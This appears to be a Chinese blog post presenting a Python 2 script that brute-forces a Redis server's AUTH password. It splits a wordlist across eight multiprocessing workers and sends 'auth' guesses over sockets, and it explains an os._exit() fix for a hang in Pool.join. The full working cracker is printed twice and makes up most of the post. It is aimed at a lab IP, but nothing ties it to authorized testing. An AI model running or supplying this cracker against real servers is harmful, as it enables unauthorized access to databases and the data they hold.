之前使用multiprocessing的分布式进程模式写了个redis的破解程序,性能不是很理想,相对于单进程模式性能反而有下降.于是想利用multiprocessing的多进程模式进行破解,初始代码如下:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time : 19-1-3 下午7:32
# @Site :
# @File : redisCrackMultiFile.py
# @Software: PyCharm
import subprocess
from multiprocessing import Pool
import sys,os
import glob
import socket
redisHost = "192.168.36.3"
redisPort = 6379
redisCrackFile = "/home/liping/py/redisCrack/redisPass.txt"
worker = 8
def splitFile(w,passFile): #调用split命令按照Pool的worker数按行分割密码文本,返回分割后的文件列表
suffix=os.path.splitext(passFile)[0]+"_"+"split"+"_"
cmd="split -d -a 2 -n l/%d %s %s" %(w,passFile,suffix)
try:
subprocess.check_call(cmd,shell=True)
# fileList = os.listdir(os.path.dirname(os.path.abspath(passFile)))
globSuffix=suffix+"*"
fileList=glob.glob(globSuffix)
return fileList
except subprocess.CalledProcessError,e:
print "failed to split the file,quit:",str(e)
sys.exit(2)
def redisCrack(host,port,passfile): #每个worker使用一个分割密码文本调用socket模块破解
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
with open(passfile, "r") as f:
for i in f:
s.send("auth %s
" % (i))
authResult = s.recv(1024)
if '+OK' in authResult:
s.close()
return ("cracked",i)
def crackCallback(msg): #multiprocessing的回调函数,破解后调用sys.exit()方法退出程序.
if msg != None:
print "redis password cracked,the pass is: %s" %msg[1]
sys.exit(0)
else:
print "no password in this file" #未破解返回不在此分割密码文本提示
def main(): #主函数
fileList=splitFile(worker,redisCrackFile)
p=Pool(worker)
p.daemon=True
for l in fileList:
p.apply_async(redisCrack,args=(redisHost,redisPort,l,),callback=crackCallback)
p.close()
p.join()
if __name__=="__main__":
main()
代码总体思路是将密码文本按照multiprocessing的worker数进行分割,然后每个worker使用一个分割文本进行破解.
测试如下:
1.生成100万随机密码,将正确密码写入最后一行.
2.启动程序,redis服务端有8个tcp连接,和worker数对应.程序生成8个子进程.
3.发现一个worker破解出密码后,程序仍无法退出
后经测试,发现夯住为multiprocessing的join方法造成的.join方法为等待子进程结束,为阻塞方法.在本次程序中,一个子进程完成破解,调用了sys.exit()方法退出了,但是对于主进程程序却仍然夯住在那等待.解决思路有如下2种:
1.回调函数不调用sys.exit()方法,让每个子进程运行完成.但是此种方法明显不适用此场景,一个子进程破解出密码后,其他子进程应该无必要在进行密码猜测行为了.同时测试发现,即使去掉sys.exit()调用,在程序运行,kill掉一个子进程,join方法也会造成主程序一直夯住在那里.
2.join方法增加timeout参数.但是timeout时间不好把握,太短子进程可能还没跑完密码文本就退出,太长也是造成程序空运行.
后google搜索得知,要想在子进程中终止主进程,需要调用os._exit()方法.os._exit()将python解释器直接退出,后面的语句都不会执行.一般情况下用sys.exit()就行;os._exit()可以在os.fork()产生的子进程里使用.最终代码如下:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time : 19-1-3 下午7:32
# @Site :
# @File : redisCrackMultiFile.py
# @Software: PyCharm
import subprocess
from multiprocessing import Pool
import sys,os
import glob
import socket
redisHost = "192.168.36.3"
redisPort = 6379
redisCrackFile = "/home/liping/py/redisCrack/redisPass.txt"
worker = 8
def splitFile(w,passFile):
suffix=os.path.splitext(passFile)[0]+"_"+"split"+"_"
cmd="split -d -a 2 -n l/%d %s %s" %(w,passFile,suffix)
try:
subprocess.check_call(cmd,shell=True)
# fileList = os.listdir(os.path.dirname(os.path.abspath(passFile)))
globSuffix=suffix+"*"
fileList=glob.glob(globSuffix)
return fileList
except subprocess.CalledProcessError,e:
print "failed to split the file,quit:",str(e)
sys.exit(2)
def redisCrack(host,port,passfile):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
with open(passfile, "r") as f:
for i in f:
s.send("auth %s
" % (i))
authResult = s.recv(1024)
if '+OK' in authResult:
s.close()
return ("cracked",i)
def crackCallback(msg):
if msg != None:
print "redis password cracked,the pass is: %s" %msg[1]
os._exit(0) #将sys.exit()方法替换为os._exit()方法
else:
print "no password in this file"
def main():
fileList=splitFile(worker,redisCrackFile)
p=Pool(worker)
p.daemon=True
for l in fileList:
p.apply_async(redisCrack,args=(redisHost,redisPort,l,),callback=crackCallback)
p.close()
p.join()
if __name__=="__main__":
main()
同一密码文本与单进程测试速度如下:
遗留问题:
在破解出密码的情况下,虽然调用os._exit()方法退出了主程序,但是没有运行完的子程序会抛出IOError异常